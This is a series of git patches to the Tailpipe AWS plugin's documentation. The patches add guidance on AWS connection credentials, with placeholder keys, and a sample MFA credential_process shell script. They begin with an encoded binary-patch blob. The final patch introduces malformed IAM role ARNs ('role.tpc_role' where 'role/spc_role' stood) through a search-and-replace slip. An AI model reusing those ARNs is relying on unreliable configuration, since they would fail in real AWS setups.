zP*N@WpdFbb>shTbI^j|X;Ui$3-aX@03x%;V>uqYZy~+|{h&@;*w3rp{cH@xO)g-R0_Ulc#WsVVpqSriNWrG<<3IT?KEm}$# zmEufv)Gsm=3NNuXgY^t{KS1LBY=pfWvj{tEn7pFIa>nyF%!F+x3bN@#A;2csJdv{H z2ikghv}=npL^4(TMu|9Tb;e!((8Y_O{pkGg64|+EAEf}GhF1CGlY@XN!Y`wJ;>q+( zZzp*DTtvoKVhX2-Xd5&Q<5`aIen9&2`_spfT(ZKeXhjun|LWYDkcc3TZ;0fDBTrJO zzk0w^+qG>b3SFQ#+GG#>wFsa>P_(PPKX+ej@Wf?gTS=}?denzc>Cwj;h0FC$hU%jf zpx%Rt4{&UzCM-5vr1gC)u~%pm`yd@vv0LuHa8%;4Uxqztx3u`Yl(7KCz4md@apEF= z9|W(chvsc>N`fx_lw$Lxfs+=sO5^1L%73!B6YVV+nYj1ztR%$55WR1O42$yYfdiOT zn)Z`|r_E_7_eIyb70f8v(Z9B8zc<_;jIyI&UubpSx6W;6vDyFyur$k2~kHqj}WcjTS7s9N`py2^0}A(g0wR7{PaD;^E1 z);n*)R23dBKRs|gwNGhMbmrQZg{V)U70Z}-GW0B;Aex7G747RD15!3KhFPHC8hz(T z?wRG`EOwB^Y(sfKQRawi=k6~zq6dZ9!^fGqqwmKFU#xo2%*gU`t>8C-@Z)+ ze+jQ_+_Xk`EXOwZLRL1U)}GhTEEjT8lHCIJ(7RU$EtZgHt^iSq`J%_U+MP|!pXMlv zY(|AIF@;9yBK1q}XppHPszCu=15 zDqLKm+xv9c4N7p17R)h~cW*;mX!AMCf%m6IGz|XX7keAWmm2~&U|qV3Tdto zUwFcnbH&UI#XDvK5I>AyS@U6t`vLeLvINpTk^%!Tz7_Q>xC;)k53wNtq{z$hXNDyy zI(wdgU}RIrO-8==z&OY7-enelQ0-U4$R32USHGa?RARqpSiRu2IEqf7lhME+p94m+ z+y);D;6l3tFdq+9*s+iAPLjt;N4k(@J`{PA8qS0ex`|Zj*!hc$AT+E!YTBXbA0b@6 z?Ai%(X1QAyVWdm%D$f5c6nq`Uey*Z?`Mu0MO~K!A(vK?7KHL~tlN1qL(oj&d2c~)7 zI>3ZABFWcA@-7K@Lsl4Dz1v5wO07uY4=PG#nnbhGDnN=hS*MmW>wK!kV`JkLc_8%k z7b-{`nuX3FCIiviptxe5^Kt8XzyI=0Q;i!wYK}gayVaR0+j1&zpGZ;6HXbR5v7jz=ofZIN z?+JIgSFISfCkOJgj4h9%o>I~rbJ-UFhAC`P=N_K`g_|hsFNc2i#CM8;RG?)_Mx)bz z`J|w%D!pN(ZiXVEx(t?v@*NZ|w%ig)SuzbPL~|&5FV4SGaUGS#clo$dOt?O}FFu-I zqT}2E(7e>CHBg9FmlSOJ)ij*i@~r+$Mjc;Lwz36p8i#<0oYcs{siADQ>pOOfxbo%I zIlfUgfl!jq)U=h56iw${ls(#ywl(b*I_f$p_VwKP0EfZjnfq%4y{=SnINKI!%$rk2 zyQPdjIoZc|j=rOyWshWv;4l!RZgN`aCxe@i5Wle$68kaL^ zWx;AO10xP&UfV@_^-udPtXhTiir%A%Y40!e20L$=fqm?2_T;^w-*}}^8Pgha{)_-} z3xL}rr7kfO`k0VHf{o2+b(Ekg(koHiKiIv3{_N%I)XQL#gCT>Wf zY=mr`&VjLPEcKx%k}Hzk3B%l3$hIoWPLyFhDRG=GvvvE*8leR@dq9;LyK6VT7E;Rm zdF#0`ad5j?Z7X9M>|Ij6d8SQUu#Z~!1>2Gm1Jh(ln=AOR;C zE$fl4gB)%tGNi@+c@>*Yec2E=X;fCq1 zZH`f4tO!)k7HT?>^6ivak9`4SfQd!%wQvr}o8k+wPS>f+ZY!Tm`JzGsI;j}oLMkic z9(^b{J+?6cv1U-G+r>Ex+``C-Y#}EB%qceNasF5H2)gw4OCXMYP#Q=(M0MtPl0Vbr zEJS~>E-G%zrX_5!S?$XzR7>;jKtwJ^!`=O*BgMa$7n7RaJyy3^XVisHtb0U^jB`*d zb4Wccs*Rj1+lls2u_Pb&FSDdaKrIk%3M-*Q44?^xcLSzDh_Q5|Z_yj)d-R{QS&uab zzY$YYvAOyWhRJ^t5r-LHu1e7!t5fjN+2r^nVkVF!rXyt>N3G*r=e~S7$FyV+W8;gi zbl}YQ8Oa6;wVco*9tn%;6d4bGE$ZfT^ZnDyHQU~BY?87>{?{z(kwx-V(t}E`wWjMI zfhnkD>o}r8TUXMY>8QNR^hb2Mt#0A))@Oc@l(Gs46qTS_MKYwy90tm}HE==^O5+8( z{A2q@)76cYL;<~$c;34a?7)st4F&?!HQ-8 zHiqi~;+&^^_BpU2V+?4RDSTfGzSRaW`GdS0aG3{JpAbE|u%Rwc80RV-_p9IhB0+V( zdzURbzgIhU;r6R#pTx@PA&>I~)XOQo!Pp;2%0rDFBWdVE_AG}u0o_v0f^=dk3#ydu z!9O*g{}bNFC3bpFLP-yl>;S~NSbvqeFEsB{q5y7l`QWah|fm5wW*8}3XSH+%vJ!>b{ ziU>{Evve9D&kq5f&sT#tV-*b#*YS-P-U0k8lv?UFuM7m?td!c~Fv;pYDYr1(f(L}> z8R(urr4D~$+b6%7sMC|Gx=CPpdL_mEJ!LtYVk|wu&l5r2PXt)OuZjT;Q>1`CG zY!S+K0F(2xh^x6T$s1hG@a&r2?LkwN9~wL;Riqv&Pfu*5!a=vf78qQ4$JZN{P;oSI zOqOvb#0YBuSOPb5Bxq#s9iPe2UZE6}b3>+>+L-NNZMWkBQ0h?S3Ap={+XA6)i~es4 z$&j%sYj@QnHY3wAaGCu3L3=w_3rWW)N|u95kW59re!(i1t%Yj_}_4-g~f!t z;`MzNMI&7uQ%FXce(#Fd3|eY#Fd;1lsP5-3NCQcy3M@9P*dzGpjHwrKP|UsKmw~n~ zPYXEb)m0?Ls7-u%-Xo?=yM7r2w5OdU$D!{kX%`pI7@Lb|!sfE|p(ycEAjf}qW!d>| zrqR;QvL7XtEE5_YR>sJ-57U90kiK{!d3jf|2MZG?`kF=o#(jMunj!aTc3bu!W@*S_ ztjItC!Ljg!jwSi1Yh8>8uhf4#QimIrE06y^+cOvWI)oTr1o217!mLe zZKd?vgLF3iyVICaA#5|Yh&Gl3Pf<}(vLKV0*5ZYx$>BWjsqf=~kGAwplheNOD|D&! z|9$(~NIjs;yu3kMg;S07^NrQ7Mevv_R(K~lE#hR0McoLE`Y2x5$PoqWXgW}5 zm|04A|Au)*1gS{7=ZcRgMQtI%F78(V*RSz3|5bUfPQYNg>UC$$;Y+*_Z>=f7x|fMX zbhbos!A?OlJI8QxG*3F$714gcR)u|s`D6(tU<>$qH3JL_psv67iN4jswDt&U%9wvH zZO+_BhA>0|w`C)>$cxuF)=J&5j)~jdPwdKWiHHioRY7i8i87rS6|*o?tc#;kc-{pZ zdBcHidux#{3pc-OS?F?*3T0g#o#XCLSIP!lq4jmfUV4nfv?g(R0*d5u!$G8v>5k)A z!>4Xff_-(Mq_N#dCXQASoKWo3^9QqCTEqO!!!A&7$7sK`75AFC`D8kK7~oz@bh%i& zlG?9nzyaN`E-mH0;i?qj0w^6VDhS=K-vPUnwL|c*6BrAW=2^)IjMhe5zS%yoUZKD+B69(S-U zK0JMN<6n;jkY2Lf96q`JhWCAuHqlUQKL2{Kf+l}+Yg97~T!A(y6&L7BS;XH0?o|CN z>bY~HsI zQ#bD*dh6R7e0xHCb;_Z!ABIi>v5_HEkx z-0Pj7rKO6rv#pt563F&JUdwC_Bn;7b>%zVd)T_;7Tl!ypgkd-ym4AK}h60zKA2O!fm{r=gIy5$xr5A^2XMMhpxHsRdxRY+pL^b? zmEpjzcS9tYVG~lW;uV7nQ<~(G^?Exw#vxsz{NPm>wLIvz^T8_ zIzuYFQMm@w)ZZ1>NF_Qps`7KN{8^3OpU4cP-qx+Zpbv)xoUmBmVWY(;L@GWP<_BHu z`rT~DMJ|@m@ zQaroSp9@YGkZY$1bJZf^5nerM@&duHBi<#X1-1obL!n!_$5BB5Si* zP)46NQlm6bR4q63`2m6U~bH@^Qmyh!H zNsk(TG*AU5Hw(z5fJ0sxq+=vtJq;+(!W-2?Y-o{uJyp*)H(2#Ku!y^GJVf`@ji2fLBt-VaWi(8%3zSj&vO1*Hz@U8 z{=y3e2&#Ij)-05`;~NQx2F4*JMyM63!r%TH%#y>JqE_U2Aiy0|@`!yUR3;)t?pe`D zD@fHdu8283bq5(>rT)zEz|u&?)T;?5dY}CMcq<$#$sOy4LwivX@kKTufAshssBZ{l z)b`c}L|ltWtQoVh4=S)iP6vUw3B*jKW)<0-z9AzwCE4AZ8g8M=&^{xI;O}}qC~l|CxP_Cf5vsV!~0y3 z_56?z&QBn6Yf%JMRrgpsO;bkWHH@F&2le7DoRuxdo%o_vv^-JQ+woZz*RfV3P&OzB zJrA0W4e#Z#cxig4w+5Oc_{Za5ySfWOnMud6jo>adR(MY;b0*Jl$*R<+7LFLdzA*AK-Dl<4E$8oMN-x|g{^12kn&*$i6c{7Tr2T>kD;-OY#;{Th=1B|-vgTDd|a{~QFPv6 zneG`uH#&MXOr)fOU~&u0cmD_`W~&YUUoj`z{HNxyciKaHPTx4;g`;nR}0duL`Ce#3ZGW+l(^Jn`Yy| z?lVC}+Wg}m!njuHdf~nlu7wSQsTFOmxs^H@LzCVo2uEY9^Y?D7FcO|lZF7YDp#SB~ z1n$?rnyEayBw1|KsH}%DU|Vylp;fEXq=3aUqRWKh4s0?He)V{Ki~FZ)y=!MX9(}x1 zvyo5K?>)YnFt3&TK3Ne0t1qHisn~kW?RX|tR+8r`KLVQgqYCTaK#BI}@+i9fM8t%H zA73E6{Do66L=1F9T@AvQ9%XvF@IB0|ww}j=nAq8@^2P!gMbvEEQBYzxa2vm({D&lNyq5NxzWrVUMuZgzG|BoK&5nHN{9paZ1PC)pg}N%%-;M!v@LS7 zj$`)S==A*lJdOc0yTn>N=2x2}=mntWCEoDIl`NptNGL3^haD7)Jg$vBE7ca)9?_Z@ z80j8X+2_6RQv9jt(?%6h9LB{Xubl;q__*3^*}AG%+CD#JIroPs3|eVhc`HIIKQ)<| zPu|mZh(#4Xv8koS6N6-$Nu9m%iX!7^YW1O7q(xW!$q&G5M_wzsUdkWmhc|_-UU>fVH~-(fdKm|1 zNuGJgSfBctlmGwQ&m;csb^e!M7*OhWl%M?D-}aXe{=1TYS&*N4``^|3spb01m;bwZ ze_4>9di&qi`>Eyn%a{MVdVg7vpL+ZMe)XDYM=XASd5`I`-smsjPhC~}PRVVv7yk>o Ct~o6L From 3e89eea7c782070765dfdaeed5957bdd1e087753 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Tue, 28 Jan 2025 12:47:48 -0500 Subject: [PATCH 166/180] Add connection link and update query format in README --- README.md | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 076d0cba..9b02e669 100644 --- a/README.md +++ b/README.md @@ -34,7 +34,7 @@ Install the plugin: tailpipe plugin install aws ``` -Configure your connection credentials, table partition, and data source ([examples](https://hub.tailpipe.io/plugins/turbot/aws/tables/aws_cloudtrail_log#example-configurations)): +Configure your [connection credentials](https://hub.tailpipe.io/plugins/turbot/aws#connection-credentials), table partition, and data source ([examples](https://hub.tailpipe.io/plugins/turbot/aws/tables/aws_cloudtrail_log#example-configurations)): ```sh vi ~/.tailpipe/config/aws.tpc @@ -68,11 +68,19 @@ tailpipe query Run a query: ```sql -select event_source, event_name, count(*) as event_count -from aws_cloudtrail_log -where not read_only -group by event_source, event_name -order by event_count desc; +select + event_source, + event_name, + count(*) as event_count +from + aws_cloudtrail_log +where + not read_only +group by + event_source, + event_name +order by + event_count desc; ``` ```sh From 78cb875bbd7f2f54f4e8c9f0aacc8ac283ba4e3a Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Tue, 28 Jan 2025 13:43:19 -0500 Subject: [PATCH 167/180] Add connection credentials to index doc and minor updates to aws_cloudtrail_log table doc --- docs/index.md | 276 ++++++++++++++++++++++-- docs/tables/aws_cloudtrail_log/index.md | 8 +- 2 files changed, 264 insertions(+), 20 deletions(-) diff --git a/docs/index.md b/docs/index.md index 77174edd..87741032 100644 --- a/docs/index.md +++ b/docs/index.md @@ -15,7 +15,7 @@ og_image: "/images/plugins/turbot/aws-social-graphic.png" [AWS](https://aws.amazon.com/) provides on-demand cloud computing platforms and APIs to authenticated customers on a metered pay-as-you-go basis. -The [Tailpipe AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws) for Tailpipe allows you to collect and query AWS logs using SQL to track activity, monitor trends, detect anomalies, and more! +The [AWS Plugin for Tailpipe](https://hub.tailpipe.io/plugins/turbot/aws) allows you to collect and query AWS logs using SQL to track activity, monitor trends, detect anomalies, and more! - Documentation: [Table definitions & examples](https://hub.tailpipe.io/plugins/turbot/aws/tables) - Community: [Join #tailpipe on Slack →](https://turbot.com/community/join) @@ -44,7 +44,7 @@ Install the plugin: tailpipe plugin install aws ``` -Configure your [connection credentials](https://tailpipe.io/docs/reference/config-files/connection/aws), [table partition](https://tailpipe.io/docs/manage/partition), and [data source](https://tailpipe.io/docs/manage/source): +Configure your [connection credentials](https://hub.tailpipe.io/plugins/turbot/aws#connection-credentials), table partition, and data source ([examples](https://hub.tailpipe.io/plugins/turbot/aws/tables/aws_cloudtrail_log#example-configurations)): ```sh vi ~/.tailpipe/config/aws.tpc @@ -63,17 +63,12 @@ partition "aws_cloudtrail_log" "my_logs" { } ``` -Download, enrich, and save logs from your S3 bucket: +Download, enrich, and save logs from your source ([examples](https://tailpipe.io/docs/reference/cli/collect)): ```sh tailpipe collect aws_cloudtrail_log ``` -> [!NOTE] -> When running `tailpipe collect` for the first time, logs from the last 7 days are collected. Subsequent `tailpipe collect` runs will collect logs from the last collection date. -> -> For more information, please see [Managing Collection](https://tailpipe.io/docs/manage/collection). - Enter interactive query mode: ```sh @@ -83,15 +78,21 @@ tailpipe query Run a query: ```sql -select event_source, event_name, count(*) as event_count -from aws_cloudtrail_log -where not read_only -group by event_source, event_name -order by event_count desc; +select + event_source, + event_name, + count(*) as event_count +from + aws_cloudtrail_log +where + not read_only +group by + event_source, + event_name +order by + event_count desc; ``` -For example: - ```sh +----------------------+-----------------------+-------------+ | event_source | event_name | event_count | @@ -111,6 +112,247 @@ Pre-built dashboards and detections for the AWS plugin are available in [Powerpi For example, the [AWS CloudTrail Logs Detections mod](https://hub.powerpipe.io/mods/turbot/tailpipe-mod-aws-cloudtrail-log-detections) scans your CloudTrail logs for anomalies, such as an S3 bucket being made public or a change in your VPC network infrastructure. -Dashboards and detections in this mod and others are written as code, making them easy to customize and adapt to your specific requirements. +Dashboards and detections are [open source](https://github.com/topics/tailpipe-mod), allowing easy customization and collaboration. + +To get started, choose a mod from the [Powerpipe Hub](https://hub.powerpipe.io/?engines=tailpipe&q=aws). + +![image](docs/images/aws_cloudtrail_log_mitre_dashboard.png) + + + +## Connection Credentials + +### AWS Profile Credentials + +You may specify a named profile from an AWS credential file with the `profile` argument. A connection per profile, using named profiles is probably the most common configuration: + +#### aws credential file: + +```ini +[account_a] +aws_access_key_id = AKIA4YFAKEKEYXTDS252 +aws_secret_access_key = SH42YMW5p3EThisIsNotRealzTiEUwXN8BOIOF5J8m +region = us-west-2 + +[account_b] +aws_access_key_id = AKIA4YFAKEKEYJ7HS98F +aws_secret_access_key = Apf938vDKd8ThisIsNotRealzTiEUwXj9nKLWP9mg4 +``` + +#### aws.spc: + +```hcl +connection "aws_account_a" { + profile = "account_a" +} + +connection "aws_account_b" { + profile = "account_b" +} +``` + +Using named profiles allows Tailpipe to work with your existing CLI configurations, including SSO and using role assumption. + +### AWS SSO Credentials + +Tailpipe works with [AWS SSO](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html#sso-configure-profile-auto) via AWS profiles however: +- You must login to SSO (`aws sso login` ) before starting Tailpipe +- If your credentials expire, you will need to re-authenticate outside of Tailpipe - Tailpipe currently cannot re-authenticate you. + +#### aws credential file: + +```ini +[account_a_with_sso] +sso_start_url = https://d-9a672b0000.awsapps.com/start +sso_region = us-east-2 +sso_account_id = 000000000000 +sso_role_name = SSO-ReadOnly +region = us-east-1 +``` + +#### aws.spc: + +```hcl +connection "aws_account_a_with_sso" { + profile = "account_a_with_sso" +} +``` + +### AssumeRole Credentials (No MFA) + +If your aws credential file contains profiles that assume a role via the `source_profile` and `role_arn` options and MFA is not required, Tailpipe can use the profile as-is: + +#### aws credential file: + +```ini +# This user must have sts:AssumeRole permission for arn:aws:iam::*:role/spc_role +[cli_user] +aws_access_key_id = AKIA4YFAKEKEYXTDS252 +aws_secret_access_key = SH42YMW5p3EThisIsNotRealzTiEUwXN8BOIOF5J8m + +[account_a_role_without_mfa] +role_arn = arn:aws:iam::111111111111:role/spc_role +source_profile = cli_user +external_id = xxxxx + +[account_b_role_without_mfa] +role_arn = arn:aws:iam::222222222222:role/spc_role +source_profile = cli_user +external_id = yyyyy +``` + +#### aws.spc: + +```hcl +connection "aws_account_a" { + profile = "account_a_role_without_mfa" +} + +connection "aws_account_b" { + profile = "account_b_role_without_mfa" +} +``` + +### AssumeRole Credentials (With MFA) + +Currently Tailpipe doesn't support prompting for an MFA token at run time. To overcome this problem you will need to generate an AWS profile with temporary credentials. + +One way to accomplish this is to use the `credential_process` to [generate the credentials with a script or program](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sourcing-external.html) and cache the tokens in a new profile. There is a [sample `mfa.sh` script](https://raw.githubusercontent.com/turbot/tailpipe-plugin-aws/main/scripts/mfa.sh) in the `scripts` directory of the [tailpipe-plugin-aws](https://github.com/turbot/tailpipe-plugin-aws) repo that you can use, and there are several open source projects that automate this process as well. + +Note that Tailpipe cannot prompt you for your token currently, so you must authenticate before starting Tailpipe, and re-authenticate outside of Tailpipe whenever your credentials expire. + +#### aws credential file: + +```ini +[cli_user] +aws_access_key_id = AKIA4YFAKEKEYXTDS252 +aws_secret_access_key = SH42YMW5p3EThisIsNotRealzTiEUwXN8BOIOF5J8m +mfa_serial = arn:aws:iam::999999999999:mfa/my_role_mfa + +[account_a_role_with_mfa] +credential_process = sh -c 'mfa.sh arn:aws:iam::111111111111:role/my_role arn:aws:iam::999999999999:mfa/my_role_mfa cli_user 2> $(tty)' + +[account_b_role_with_mfa] +credential_process = sh -c 'mfa.sh arn:aws:iam::222222222222:role/my_role arn:aws:iam::999999999999:mfa/my_role_mfa cli_user 2> $(tty)' +``` + +#### aws.spc: + +```hcl +connection "aws_account_a" { + profile = "account_a_role_with_mfa" +} + +connection "aws_account_b" { + profile = "account_b_role_with_mfa" +} +``` + +### AssumeRole Credentials (in ECS) + +If you are using Tailpipe on AWS ECS then you need to ensure that have separated your [Task Role](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html) and [Execution Role](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_execution_IAM_role.html) within the Task Definition. You will also need to create a separate service role that your `Task Role` can assume. + +The Task Role should have permissions to assume your service role. Additionally your service role needs a trust relationship set up, and have permissions to assume your other roles. + +#### Task Role IAM Assume Role +```json +{ + "Version": "2012-10-17" + "Statement": [ + { + "Action": [ + "sts:AssumeRole" + ], + "Effect": "Allow", + "Resource": [ + "arn:aws:iam::111111111111:role/tailpipe-service" + ] + } + ] +} +``` + +#### Service Role +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "", + "Effect": "Allow", + "Principal": { + "AWS": "arn:aws:iam::111111111111:role/tailpipe-ecs-task-role" + }, + "Action": "sts:AssumeRole" + } + ] +} +``` + +This will allow you to configure tailpipe now to assume the service role. + +#### aws credential file: + +```ini +[default] +role_arn = arn:aws:iam::111111111111:role/tailpipe-service +credential_source = EcsContainer + +[account_b] +role_arn = arn:aws:iam::222222222222:role/tailpipe_ro_role +source_profile = default +``` + +### AWS-Vault Credentials + +Tailpipe can use profiles that use [aws-vault](https://github.com/99designs/aws-vault) via the `credential_process`. aws-vault can even be used when using AssumeRole Credentials with MFA (you must authenticate/re-authenticate outside of Tailpipe whenever your credentials expire if you are using MFA). + +When authenticating with temporary credentials, like using an access key pair with aws-vault, some IAM and STS APIs may be restricted. You can avoid creating a temporary session with the `--no-session` option (e.g., `aws-vault exec my_profile --no-session -- tailpipe query "select name from aws_iam_user;"`). For more information, please see [aws-vault Temporary credentials limitations with STS, IAM +](https://github.com/99designs/aws-vault/blob/master/USAGE.md#temporary-credentials-limitations-with-sts-iam). + +#### aws credential file: + +```ini +[vault_user_account] +credential_process = /usr/local/bin/aws-vault exec -j vault_user_profile # vault_user_profile is the name of the profile in AWS_VAULT... + +[account_a] +source_profile = vault_user_account +role_arn = arn:aws:iam::123456789012:role/my_role +mfa_serial = arn:aws:iam::123456789012:mfa/my_role_mfa +``` + +#### aws.spc: + +```hcl +connection "aws_account_a" { + profile = "account_a" +} +``` + +### IAM Access Key Pair Credentials + +The AWS plugin allows you set static credentials with the `access_key`, `secret_key`, and `session_token` arguments in your connection. + +```hcl +connection "aws_account_a" { + secret_key = "gMCYsoGqjfThisISNotARealKeyVVhh" + access_key = "ASIA3ODZSWFYSN2PFHPJ" +} +``` + +### Credentials from Environment Variables + +The AWS plugin will use the standard AWS environment variables to obtain credentials **only if other arguments (`profile`, `access_key`/`secret_key`, `regions`) are not specified** in the connection: + +```sh +export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE +export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY +export AWS_DEFAULT_REGION=eu-west-1 +export AWS_SESSION_TOKEN=AQoDYXdzEJr... +export AWS_ROLE_SESSION_NAME=tailpipe@myaccount +``` + +### Credentials from an EC2 Instance Profile -To get started, browse the [Powerpipe Mods for the AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws/mods) and follow the instructions provided for each mod. +If you are running Tailpipe on a AWS EC2 instance, and that instance has an [instance profile attached](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html) then Tailpipe will automatically use the associated IAM role without other credentials: diff --git a/docs/tables/aws_cloudtrail_log/index.md b/docs/tables/aws_cloudtrail_log/index.md index fec1a62b..5649d370 100644 --- a/docs/tables/aws_cloudtrail_log/index.md +++ b/docs/tables/aws_cloudtrail_log/index.md @@ -7,7 +7,9 @@ description: "Allows users to query AWS CloudTrail logs." The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs. This table provides detailed information about API calls made within your AWS account, including the event name, source IP address, user identity, and more. -To [collect](https://tailpipe.io/docs/manage/collection) logs for all `aws_cloudtrail_log` [partitions](https://tailpipe.io/docs/manage/partition): +## Collect + +[Collect](https://tailpipe.io/docs/manage/collection) logs for all `aws_cloudtrail_log` [partitions](https://tailpipe.io/docs/manage/partition): ```sh tailpipe collect aws_cloudtrail_log @@ -19,9 +21,9 @@ Or for a single partition: tailpipe collect aws_cloudtrail_log.my_logs ``` -## Queries +## Query -Explore 100+ example queries for this table **[Queries →](https://hub.tailpipe.io/plugins/turbot/aws/queries/aws_cloudtrail_log)** +**[Explore 100+ example queries for this table →](https://hub.tailpipe.io/plugins/turbot/aws/queries/aws_cloudtrail_log)** ### Root activity From 32915e89de3acfcbd34fec1fdcb69a73d54145d1 Mon Sep 17 00:00:00 2001 From: cbruno10 Date: Tue, 28 Jan 2025 17:01:00 -0500 Subject: [PATCH 168/180] Create scripts/mfa.sh --- scripts/mfa.sh | 73 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 73 insertions(+) create mode 100644 scripts/mfa.sh diff --git a/scripts/mfa.sh b/scripts/mfa.sh new file mode 100644 index 00000000..c82926cf --- /dev/null +++ b/scripts/mfa.sh @@ -0,0 +1,73 @@ +#!/bin/sh + +############################################################################################################################ +# Sample AWS credential process script for MFA login with sts:assumerole +# +# To use, put this file somewhere in your PATH, and then set up 2 profiles: +# - A master account profile with your access keys and MFA (in the account where your user resides) +# - The destination account to log into with a role. This is the profile that should be configured to use this script, +# passing the role ARN, MFA ARN, and master account profile as arguments. +# +# For example: +# [user_master_account] +# aws_access_key_id = AKIA4YFAKEKEYXTDS252 +# aws_secret_access_key = SH42YMW5p3EThisIsNotRealzTiEUwXN8BOIOF5J8m +# mfa_serial = arn:aws:iam::111111111111:mfa/my_role_mfa +# +# [destination_account] +# credential_process = sh -c 'mfa.sh arn:aws:iam::123456789012:role/my_role arn:aws:iam::111111111111:mfa/my_role_mfa user_master_account 2> $(tty)' +# +############################################################################################################################ +set -e + +role=$1 +mfa_arn=$2 +profile=$3 +temp_profile=temp_mfa_session_${3} + +if [ -z $role ]; then echo "no role specified"; exit 1; fi +if [ -z $mfa_arn ]; then echo "no mfa arn specified"; exit 1; fi +if [ -z $profile ]; then echo "no profile specified"; exit 1; fi + +set +e +resp=$(aws sts get-caller-identity --profile $temp_profile | jq '.UserId') +set -e + +if [ ! -z $resp ]; then + echo '{ + "Version": 1, + "AccessKeyId": "'"$(aws configure get aws_access_key_id --profile $temp_profile)"'", + "SecretAccessKey": "'"$(aws configure get aws_secret_access_key --profile $temp_profile)"'", + "SessionToken": "'"$(aws configure get aws_session_token --profile $temp_profile)"'", + "Expiration": "'"$(aws configure get expiration --profile $temp_profile)"'" + }' + exit 0 +fi +read -p "Enter MFA token: " mfa_token + +if [ -z $mfa_token ]; then echo "MFA token can't be empty"; exit 1; fi + +data=$(aws sts assume-role --role-arn $role \ + --profile $profile \ + --role-session-name "$mfa_token-$profile" \ + --serial-number $mfa_arn \ + --token-code $mfa_token | jq '.Credentials') + + +aws_access_key_id=$(echo $data | jq -r '.AccessKeyId') +aws_secret_access_key=$(echo $data | jq -r '.SecretAccessKey') +aws_session_token=$(echo $data | jq -r '.SessionToken') +expiration=$(echo $data | jq -r '.Expiration') + +aws configure set aws_access_key_id $aws_access_key_id --profile $temp_profile +aws configure set aws_secret_access_key $aws_secret_access_key --profile $temp_profile +aws configure set aws_session_token $aws_session_token --profile $temp_profile +aws configure set expiration $expiration --profile $temp_profile + +echo '{ + "Version": 1, + "AccessKeyId": "'"$aws_access_key_id"'", + "SecretAccessKey": "'"$aws_secret_access_key"'", + "SessionToken": "'"$aws_session_token"'", + "Expiration": "'"$expiration"'" +}' From 96f5c2e4e267e6f223c2f8c00dd093ef829fe7e8 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Tue, 28 Jan 2025 17:11:55 -0500 Subject: [PATCH 169/180] Add connection args table and add new section to aws_cloudtrail_log table doc --- docs/index.md | 47 ++++++++++++++++--------- docs/tables/aws_cloudtrail_log/index.md | 25 +++++++++++-- 2 files changed, 53 insertions(+), 19 deletions(-) diff --git a/docs/index.md b/docs/index.md index 87741032..ee20a095 100644 --- a/docs/index.md +++ b/docs/index.md @@ -5,7 +5,7 @@ icon_url: "/images/plugins/turbot/aws.svg" brand_color: "#FF9900" display_name: "Amazon Web Services" description: "Tailpipe plugin for collecting and querying various logs from AWS." -og_description: "Collect and query AWS logs with SQL! Open source CLI. No DB required." +og_description: "Collect AWS logs and query them instantly with SQL! Open source CLI. No DB required." og_image: "/images/plugins/turbot/aws-social-graphic.png" --- @@ -116,12 +116,23 @@ Dashboards and detections are [open source](https://github.com/topics/tailpipe-m To get started, choose a mod from the [Powerpipe Hub](https://hub.powerpipe.io/?engines=tailpipe&q=aws). -![image](docs/images/aws_cloudtrail_log_mitre_dashboard.png) - ## Connection Credentials +### Arguments + +| Name | Type | Required | Description | +|------------------------|---------------|----------|----------------------------------------------------------------------------------------------------------| +| `access_key` | String | No | AWS access key used for authentication. | +| `endpoint_url` | String | No | The custom endpoint URL for AWS services (e.g., for local testing with tools like LocalStack). | +| `max_error_retry_attempts` | Number | No | The maximum number of retry attempts for AWS API calls. | +| `min_error_retry_delay` | Number | No | The minimum delay in milliseconds between retry attempts for AWS API calls. | +| `profile` | String | No | The AWS CLI profile to use for credentials and configuration. | +| `s3_force_path_style` | Boolean | No | Forces the use of path-style URLs for S3 operations instead of the default virtual-hosted style. | +| `secret_key` | String | No | AWS secret key used for authentication. | +| `session_token` | String | No | AWS session token used for temporary credentials. This is only used if you specify `access_key` and `secret_key`. | + ### AWS Profile Credentials You may specify a named profile from an AWS credential file with the `profile` argument. A connection per profile, using named profiles is probably the most common configuration: @@ -139,7 +150,7 @@ aws_access_key_id = AKIA4YFAKEKEYJ7HS98F aws_secret_access_key = Apf938vDKd8ThisIsNotRealzTiEUwXj9nKLWP9mg4 ``` -#### aws.spc: +#### aws.tpc: ```hcl connection "aws_account_a" { @@ -156,7 +167,7 @@ Using named profiles allows Tailpipe to work with your existing CLI configuratio ### AWS SSO Credentials Tailpipe works with [AWS SSO](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html#sso-configure-profile-auto) via AWS profiles however: -- You must login to SSO (`aws sso login` ) before starting Tailpipe +- You must login to SSO (`aws sso login`) before starting Tailpipe - If your credentials expire, you will need to re-authenticate outside of Tailpipe - Tailpipe currently cannot re-authenticate you. #### aws credential file: @@ -170,7 +181,7 @@ sso_role_name = SSO-ReadOnly region = us-east-1 ``` -#### aws.spc: +#### aws.tpc: ```hcl connection "aws_account_a_with_sso" { @@ -185,23 +196,23 @@ If your aws credential file contains profiles that assume a role via the `source #### aws credential file: ```ini -# This user must have sts:AssumeRole permission for arn:aws:iam::*:role/spc_role +# This user must have sts:AssumeRole permission for arn:aws:iam::*:role.tpc_role [cli_user] aws_access_key_id = AKIA4YFAKEKEYXTDS252 aws_secret_access_key = SH42YMW5p3EThisIsNotRealzTiEUwXN8BOIOF5J8m [account_a_role_without_mfa] -role_arn = arn:aws:iam::111111111111:role/spc_role +role_arn = arn:aws:iam::111111111111:role.tpc_role source_profile = cli_user external_id = xxxxx [account_b_role_without_mfa] 